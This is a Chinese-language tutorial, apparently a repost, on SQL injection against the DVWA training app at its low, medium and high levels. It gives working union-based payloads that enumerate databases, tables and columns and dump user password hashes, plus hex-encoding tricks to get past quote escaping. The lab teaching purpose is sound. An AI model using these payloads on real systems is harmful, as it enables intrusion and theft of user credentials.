首页 > 数据库 > 数据库开发技术 > SQL注入指南(DVWA)
SQL注入是WEB
肾透测试中最常见的攻击手段之一。本文将从DVWA平台出发,为你揭秘SQL注入常用的方法和技能。
DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好的理解Web应用安全防范的过程。
项目地址:https://dvwa.co.uk/ 安装很简单,我也不再说了。
点击左侧DVWA Security,在右侧你可以看到三个选项:
Low #低级
Medium #中级
High #高级
选择SQL Injection,我们可以看到一个输入框:
然后在输入框中输入用户ID,就能返回用户的信息。
在输入框中输入:
11' order by 3 #
#用于将后面的语句全部注释,将语句末尾控制在我们的手里,防止出现意外语法错误。
你会获得返回结果:
1Unknown column '3' in 'order clause'
这是因为我们使用order方法将第三列排序,然而并没有第三列。
11' order by 2 #
此时你会发现结果被成功返回了:
1ID: 1' order by 2 #
2First name: admin
3Surname: admin
这说明该数据表有2列,所以如果我们要使用union进行联合查询的时候,也要查询2列。输入语句:
11' union select 1,2 #
你会得到返回结果:
1ID: 1' union select 1,2 #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,2 #
6First name: 1
7Surname: 2
这说明第一列会被显示为First name,第二列会被显示为Surname。
语句执行方法:1' [SQL语句] #如要使用union联合查询,必须返回两列,否则将报错。好的,那么我们需要先组建一条语句用于获取数据库信息。
1select group_concat(schema_name) from information_schema.schemata
你可以搭建一个本地MySQL,并对本语句进行测试。
将注入语句与其拼接:
11' union select group_concat(schema_name) from information_schema.schemata #
填写到输入框中,我们会得到返回结果:
1The used SELECT statements have a different number of columns原因是由于我们使用union查询列数不同导致的。修改语句:
11' union select 1,group_concat(schema_name) from information_schema.schemata #
这里添加的1,是直接选择的结果,将1定义为第一列的结果。得到如下返回结果:
1ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #
6First name: 1
7Surname: information_schema,dvwa,mysql,performance_schema
此时DVWA返回了MySQL中的全部数据库。
尝试删除group_concat()保留其括号中的列名,比对运行结果的不同。
如要查询DVWA正在使用哪个数据库,你可以组建语句:
11' union select 1,database() #
得到返回结果:
1ID: 1' union select 1,database() #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,database() #
6First name: 1
7Surname: dvwa
此处的database()方法可以获取当前使用的数据库。
刚刚我们查询得知了DVWA正在使用的数据库名为dvwa。现在我们组建语句查询该数据库中所有表:
11' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
返回结果:
1ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6First name: 1
7Surname: guestbook,users
我们可以看到,当前数据库(dvwa)中有两个表:guestbook、users。
整理一下,现在我们的目标是:
dvwausersusers表中的列名11' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
返回结果:
1ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
6First name: 1
7Surname: user_id,first_name,last_name,user,password,avatar
现在我们得知,users表中的列为:user_id、first_name、last_name、user、password、avatar。
最后一步,我们现在已知情况为:
dvwausersuser、password11' union select user,password from dvwa.users #
返回结果:
1ID: 1' union select user,password from dvwa.users #
2First name: admin
3Surname: admin
4
5ID: 1' union select user,password from dvwa.users #
6First name: admin
7Surname: 5f4dcc3b5aa765d61d8327deb882cf99
8
9ID: 1' union select user,password from dvwa.users #
10First name: gordonb
11Surname: e99a18c428cb38d5f260853678922e03
12
13ID: 1' union select user,password from dvwa.users #
14First name: 1337
15Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
16
17ID: 1' union select user,password from dvwa.users #
18First name: pablo
19Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
20
21ID: 1' union select user,password from dvwa.users #
22First name: smithy
23Surname: 5f4dcc3b5aa765d61d8327deb882cf99
可以看到我们成功返回了用户名和密码。但这个密码是加密的,你可能觉得比较眼熟,这么长大概率是用了md5加密。然后利用MD5网站对其解密即可。
和初级一样,我们输入如下语句:
11' order by 2 #
但得到了如下结果:
1`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`
返回页面,点击右下角的View Source阅读源码,我们会发现:
1$id = mysql_real_escape_string($id);
出现了一个初级没有的方法:mysql_real_escape_string将字符串中的:\x00、\n、\r、\、'、"、\x1a进行了转义的处理,而我们使用的单引号被从'转义为了\',所以注入语句无法执行。换个思路,如果我们不使用单引号呢?
11 order by 2 #
返回结果:
1ID: 1 order by 2 #
2First name: admin
3Surname: admin
不错!但为什么会这样呢?源码比对对比低级和中级的SQL执行语句:
低级:
1$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
中级:
1$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用单引号单独转换$id为字符串,所以被称为数字型注入。
假设注入语句:
11' order by 2 #
注入到低级语句,组成语句:
1SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '
我们可以看到,虽然多出了一个单引号,但我们使用#将其注释,所以#后面的不生效,语句成立。
注入到中级语句时,单引号会被过滤,语句无效。
再试试中级的注入语句`1 order by 2 #`` 注入到中级语句:
1SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2
没有单引号的干扰,语句可以正常执行。
目前已知可渗透条件
语句执行方法:1 [SQL语句] #如要使用union联合查询,必须返回两列,否则将报错。你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:测试语句中字符串的引号被转义
11 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
这本应该是一条正确的语句,但'users'无论是使用单引号还是双引号都会被转义,所以我们应该将其转为16进制。
在Python中输入如下命令:
1import binascii
2print binascii.b2a_hex('users')
这会将users转为16进制,这样我们就绕过了引号,且能被MySQL正常识别。
返回结果:
1>>> import binascii
2>>> print binascii.b2a_hex('users')
37573657273
7573657273便是users转换为16进制的结果。不仅可以使用Python进行进制转换,你也可以使用其它工具进行转换。
但7573657273会被MySQL识别为整数,我们需要将它包装为0x7573657273才能被正常识别为16进制。
11 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
得到返回结果:
1ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
2First name: admin
3Surname: admin
4
5ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
6First name: 1
7Surname: user_id,first_name,last_name,user,password,avatar
阅读源码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
通过和中级的对比,我们可以看到多出了LIMIT 1的限制,它限制只输出一条结果。但由于我们使用了#进行注释,所以使用中级的方法就可以保证LIMIT 1不被执行。
更多精彩文章 关注我们
原文作者:Kali笔记;如有侵权,请联系管理员删除。